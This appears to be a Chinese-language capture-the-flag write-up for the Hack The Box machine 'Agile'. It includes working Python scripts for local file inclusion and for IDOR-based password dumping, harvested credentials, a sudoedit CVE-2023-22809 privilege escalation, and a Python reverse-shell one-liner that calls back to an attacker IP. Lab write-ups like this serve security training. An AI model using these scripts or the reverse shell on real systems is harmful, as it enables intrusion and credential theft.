一、信息搜集

└─# nmap -sCV --min-rate=1000 -Pn 10.10.11.203
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-10 10:12 CST
Nmap scan report for 10.10.11.203
Host is up (0.35s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 f4bcee21d71f1aa26572212d5ba6f700 (ECDSA)
|_  256 65c1480d88cbb975a02ca5e6377e5106 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://superpass.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 171.68 seconds

添加host


└─# echo "10.10.11.203 superpass.htb" >> /etc/hosts

二、本地文件包含

在掃描目錄后發現download 路徑,訪問出現報錯信息,發現了參數是fn

讀取/etc/passwd,發現需要登錄權限。注冊個賬號就讀取了。

我們可以在 python 中創建一個腳本,自動實現這個過程,只需要輸入的文件路徑


└─# cat lfi.py              
#!/usr/bin/python3
import requests, sys
if len(sys.argv) < 2:
    print(f"\033[0;37m[\033[0;31m-\033[0;37m] Uso: python3 {sys.argv[0]} ")
    sys.exit(1)
target = "http://superpass.htb"
session = requests.Session()
data = {"username": "123", "password": "123", "submit": ""}
session.post(target + "/account/login", data=data)
params = {"fn": ".." + sys.argv[1]}
request = session.get(target + "/download", params=params)
print(request.text.strip())
└─# python lfi.py /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
usbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
corum:x:1000:1000:corum:/home/corum:/bin/bash
dnsmasq:x:108:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
mysql:x:109:112:MySQL Server,,,:/nonexistent:/bin/false
runner:x:1001:1001::/app/app-testing/:/bin/sh
edwards:x:1002:1002::/home/edwards:/bin/bash
dev_admin:x:1003:1003::/home/dev_admin:/bin/bash
_laurel:x:999:999::/var/log/laurel:/bin/false

指向錯誤的文件會向我們讀取正在運行的 .py 文件的路徑


└─# python lfi.py /etc/passwds | grep app

└─# python lfi.py /app/app/superpass/views/vault_views.py
import flask
import subprocess
from flask_login import login_required, current_user
from superpass.infrastructure.view_modifiers import response
import superpass.services.password_service as password_service
from superpass.services.utility_service import get_random
from superpass.data.password import Password
blueprint = flask.Blueprint('vault', __name__, template_folder='templates')
@blueprint.route('/vault')
@response(template_file='vault/vault.html')
@login_required
def vault():
    passwords = password_service.get_passwords_for_user(current_user.id)
    print(f'{passwords=}')
    return {'passwords': passwords}
@blueprint.get('/vault/add_row')
@response(template_file='vault/partials/password_row_editable.html')
@login_required
def add_row():
    p = Password()
    p.password = get_random(20)
    #import pdb;pdb.set_trace()
    return {"p": p}
@blueprint.get('/vault/edit_row/')
@response(template_file='vault/partials/password_row_editable.html')
@login_required
def get_edit_row(id):
    password = password_service.get_password_by_id(id, current_user.id)
    return {"p": password}
@blueprint.get('/vault/row/')
@response(template_file='vault/partials/password_row.html')
@login_required
def get_row(id):
    password = password_service.get_password_by_id(id, current_user.id)
    return {"p": password}
@blueprint.post('/vault/add_row')
@login_required
def add_row_post():
    r = flask.request
    site = r.form.get('url', '').strip()
    username = r.form.get('username', '').strip()
    password = r.form.get('password', '').strip()
    if not (site or username or password):
        return ''
    p = password_service.add_password(site, username, password, current_user.id)
    return flask.render_template('vault/partials/password_row.html', p=p)
@blueprint.post('/vault/update/')
@response(template_file='vault/partials/password_row.html')
@login_required
def update(id):
    r = flask.request
    site = r.form.get('url', '').strip()
    username = r.form.get('username', '').strip()
    password = r.form.get('password', '').strip()
    if not (site or username or password):
        flask.abort(500)
    p = password_service.update_password(id, site, username, password)
    return {"p": p}
@blueprint.delete('/vault/delete/')
@login_required
def delete(id):
    password_service.delete_password(id)
    return ''
@blueprint.get('/vault/export')
@login_required
def export():
    if current_user.has_passwords:        
        fn = password_service.generate_csv(current_user)
        return flask.redirect(f'/download?fn={fn}', 302)
    return "No passwords for user"
@blueprint.get('/download')
@login_required
def download():
    r = flask.request
    fn = r.args.get('fn')
    with open(f'/tmp/{fn}', 'rb') as f:
        data = f.read()
    resp = flask.make_response(data)
    resp.headers['Content-Disposition'] = 'attachment; filename=superpass_export.csv'
    resp.mimetype = 'text/csv'
    return resp

閱讀代碼我們可以在.py文件的這部分代碼中找到一個idor


@blueprint.get('/vault/row/')
@response(template_file='vault/partials/password_row.html')
@login_required
def get_row(id):
    password = password_service.get_password_by_id(id, current_user.id)
    return {"p": password}

發送不同的id我們可以看到不同的用戶密碼。可以創建一個python腳本來遍歷id并從中獲取數據


#!/usr/bin/python3
import requests, bs4
from pwn import log
target = "http://superpass.htb"
session = requests.Session()
data = {"username": "username", "password": "password", "submit": ""}
session.post(target + "/account/login", data=data)
for id in range(0,10):
    request = session.get(target + "/vault/row/" + str(id))
    soup = bs4.BeautifulSoup(request.content, "html.parser")
    rows = soup.find_all("tr", class_="password-row")
    for row in rows:
        cols = row.find_all("td")
        sitename = cols[1].get_text()
        username = cols[2].get_text()
        password = cols[3].get_text()
        if sitename != "":
            log.info(f"Credentials in row {id}:")
            print(f"\tSitename: {sitename}")
            print(f"\tUsername: {username}")
            print(f"\tPassword: {password}")
            print("\r")

執行時,它遍歷id并從不同用戶獲得 6 個密碼


└─# python AgileExploit.py
[*] Credentials in row 3:
    Sitename: hackthebox.com
    Username: 0xdf
    Password: 762b430d32eea2f12970
[*] Credentials in row 4:
    Sitename: mgoblog.com
    Username: 0xdf
    Password: 5b133f7a6a1c180646cb
[*] Credentials in row 6:
    Sitename: mgoblog
    Username: corum
    Password: 47ed1e73c955de230a1d
[*] Credentials in row 7:
    Sitename: ticketmaster
    Username: corum
    Password: 9799588839ed0f98c211
[*] Credentials in row 8:
    Sitename: agile
    Username: corum
    Password: 5db7caa1d13cc37c9fc2

在最后的一個sitename:agile 和我們的靶機名一樣,那么用它username 和 password登錄ssh 成功。

列出內部端口,我們可以看到 41829,這在系統上并不常見


-bash-5.1$ netstat -natActive Internet connections (servers and established)                                                      Proto Recv-Q Send-Q Local Address           Foreign Address         State                                  tcp        0      0 127.0.0.1:5555          0.0.0.0:*               LISTEN                                 tcp        0      0 127.0.0.1:56423         0.0.0.0:*               LISTEN                                 tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN                                 tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN                                 tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN                                 tcp        0      0 127.0.0.1:33060         0.0.0.0:*               LISTEN                                 tcp        0      0 127.0.0.1:41829         0.0.0.0:*               LISTEN                                 tcp        0      0 127.0.0.1:5000          0.0.0.0:*               LISTEN     tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN     tcp        0      0 127.0.0.1:32846         127.0.0.1:56423         TIME_WAIT  tcp        0      0 127.0.0.1:40522         127.0.0.1:3306          ESTABLISHEDtcp        0      0 127.0.0.1:44958         127.0.0.1:5555          TIME_WAIT  tcp      150      0 127.0.0.1:33290         127.0.0.1:3306          CLOSE_WAIT tcp        0      0 127.0.0.1:36324         127.0.0.1:41829         ESTABLISHEDtcp        0      0 127.0.0.1:50656         127.0.0.1:80            ESTABLISHEDtcp        0      0 127.0.0.1:80            127.0.0.1:50696         ESTABLISHEDtcp        0      0 127.0.1.1:22            127.0.0.1:57456         ESTABLISHEDtcp        0      0 10.10.11.203:22         10.10.14.27:56314       ESTABLISHEDtcp        0      0 10.10.11.203:22         10.10.14.38:42908       ESTABLISHEDtcp        0      0 127.0.0.1:50676         127.0.0.1:80            ESTABLISHEDtcp        0      0 127.0.0.1:50666         127.0.0.1:80            ESTABLISHEDtcp        0      0 127.0.0.1:57866         127.0.0.1:5555          TIME_WAIT  tcp        0      0 127.0.0.1:3306          127.0.0.1:40522         ESTABLISHEDtcp        0      0 127.0.0.1:44948         127.0.0.1:5555          TIME_WAIT  tcp        0      0 127.0.0.1:80            127.0.0.1:50666         ESTABLISHEDtcp        0      0 127.0.0.1:80            127.0.0.1:50656         ESTABLISHEDtcp        0      0 10.10.11.203:22         10.10.16.27:59280       ESTABLISHEDtcp        0   4284 10.10.11.203:22         10.10.16.4:57244        ESTABLISHEDtcp        0      0 127.0.0.1:80            127.0.0.1:50690         ESTABLISHEDtcp        0      0 127.0.0.1:41829         127.0.0.1:36324         ESTABLISHEDtcp        0      0 127.0.0.1:50696         127.0.0.1:80            ESTABLISHEDtcp        0      0 10.10.11.203:22         10.10.14.78:49518       ESTABLISHEDtcp        0      0 127.0.0.1:50690         127.0.0.1:80            ESTABLISHEDtcp        0      0 127.0.0.1:80            127.0.0.1:50712         ESTABLISHEDtcp        0      0 127.0.0.1:50712         127.0.0.1:80            ESTABLISHEDtcp        0      0 127.0.0.1:56423         127.0.0.1:32856         ESTABLISHEDtcp        0      0 127.0.0.1:41829         127.0.0.1:36340         ESTABLISHEDtcp        0      0 10.10.11.203:22         10.10.16.27:33362       ESTABLISHEDtcp        0      0 127.0.0.1:44972         127.0.0.1:5555          TIME_WAIT  tcp        0      0 127.0.0.1:44938         127.0.0.1:5555          TIME_WAIT  tcp        0      1 10.10.11.203:58342      8.8.8.8:53              SYN_SENT   tcp        0      0 127.0.0.1:57872         127.0.0.1:5555          TIME_WAIT  tcp        0      0 127.0.0.1:32856         127.0.0.1:56423         ESTABLISHEDtcp        0      0 127.0.0.1:36340         127.0.0.1:41829         ESTABLISHEDtcp        0      0 127.0.0.1:80            127.0.0.1:50676         ESTABLISHEDtcp        0      0 127.0.0.1:57456         127.0.1.1:22            ESTABLISHEDtcp6       0      0 :::22                   :::*                    LISTEN     tcp6       0      0 ::1:56423               :::*                    LISTEN

在進程中我們可以看到這個端口運行著谷歌瀏覽器的遠程debug


-bash-5.1$ ps faux | grep 41829
runner     19539  0.1  2.6 34023456 103904 ?     Sl   03:28   0:00                      \_ /usr/bin/google-chrome --allow-pre-commit-input --crash-dumps-dir=/tmp --disable-background-networking --disable-client-side-phishing-detection --disable-default-apps --disable-gpu --disable-hang-monitor --disable-popup-blocking --disable-prompt-on-repost --disable-sync --enable-automation --enable-blink-features=ShadowDOMV0 --enable-logging --headless --log-level=0 --no-first-run --no-service-autorun --password-store=basic --remote-debugging-port=41829 --test-type=webdriver --use-mock-keychain --user-data-dir=/tmp/.com.google.Chrome.VCC6v1 --window-size=1420,1080 data:,
runner     19603  0.5  4.1 1184764420 163312 ?   Sl   03:28   0:01                          |       \_ /opt/google/chrome/chrome --type=renderer --headless --crashpad-handler-pid=19546 --lang=en-US --enable-automation --enable-logging --log-level=0 --remote-debugging-port=41829 --test-type=webdriver --allow-pre-commit-input --ozone-platform=headless --disable-gpu-compositing --enable-blink-features=ShadowDOMV0 --lang=en-US --num-raster-threads=1 --renderer-client-id=5 --time-ticks-at-unix-epoch=-1678414886916814 --launch-time-ticks=3996020528 --shared-files=v8_context_snapshot_data:100 --field-trial-handle=0,i,1475177266462851820,14744098003185442377,131072 --disable-features=PaintHolding
corum      19709  0.0  0.0   4020  2072 pts/7    S+   03:31   0:00              \_ grep 41829

要在本地使用該端口,我們將通過使用 ssh 進行端口轉發來使用它


└─# ssh corum@10.10.11.203 -L 41829:127.0.0.1:41829
corum@10.10.11.203's password: 5db7caa1d13cc37c9fc2

在搜索欄中使用 chrome://inspect 輸入127.0.0.1:41829

它向我們展示了 http://test.superpass.htb/vault 的 Target SuperPassword,訪問看到了賬號密碼

我們可以再次使用agile 站點的username 和 password,通過ssh登錄


edwards
d07867c6267dcb5df0af
corum@agile:~$ su edwards
Password: 
edwards@agile:/home/corum$ 
edwards@agile:/home/corum$ id
uid=1002(edwards) gid=1002(edwards) groups=1002(edwards)

查看 sudoers 級別的權限,我們可以使用 sudoedit 作為 dev_admin 打開 2 個文件


edwards@agile:/home/corum$ sudo -l
[sudo] password for edwards: 
Matching Defaults entries for edwards on agile:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty
User edwards may run the following commands on agile:
    (dev_admin : dev_admin) sudoedit /app/config_test.json
    (dev_admin : dev_admin) sudoedit /app/app-testing/tests/functional/creds.txt

在本地python開web,上傳到靶機pspy


└─# python -m http.server  80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.203 - - [10/Mar/2023 13:37:47] "GET /pspy64 HTTP/1.1" 200 -

用pspy列出任務我們可以發現root執行了這個文件/app/venv/bin/activate


edwards@agile:~$ ./pspy64 |grep activate
2023/03/10 05:41:55 CMD: UID=1002  PID=1326   | grep --color=auto activate 
2023/03/10 05:41:55 CMD: UID=1002  PID=1320   | vim /var/tmp/activate.XXfIlGzM /var/tmp/config_testXXXyfw94.json 
2023/03/10 05:45:01 CMD: UID=0     PID=1480   | /bin/bash -c source /app/venv/bin/activate

該文件有 dev_admin 作為一個可以寫入的組,如果我們可以修改它,我們就是 root

找到 sudoedit 的 CVE-2023–22809[1],它向我們展示了一些利用它的方法

我們通過打開 /app/venv/bin/activate 作為額外文件來導出變量


export EDITOR="vim -- /app/venv/bin/activate"

現在我們打開允許我們在 sudoers 級別以 dev_admin 打開的文件/app/config_test.json


sudo -u dev_admin sudoedit /app/config_test.json

使用在線工具 生成python的反彈shell命令,在線反彈shell[2]

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.4",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

反彈shell 拿到root 。

References

[1] CVE-2023–22809: https://www.synacktiv.com/sites/default/files/2023-01/sudo-CVE-2023-22809.pdf

[2] 在線反彈shell: https://www.0le.cn/reverse/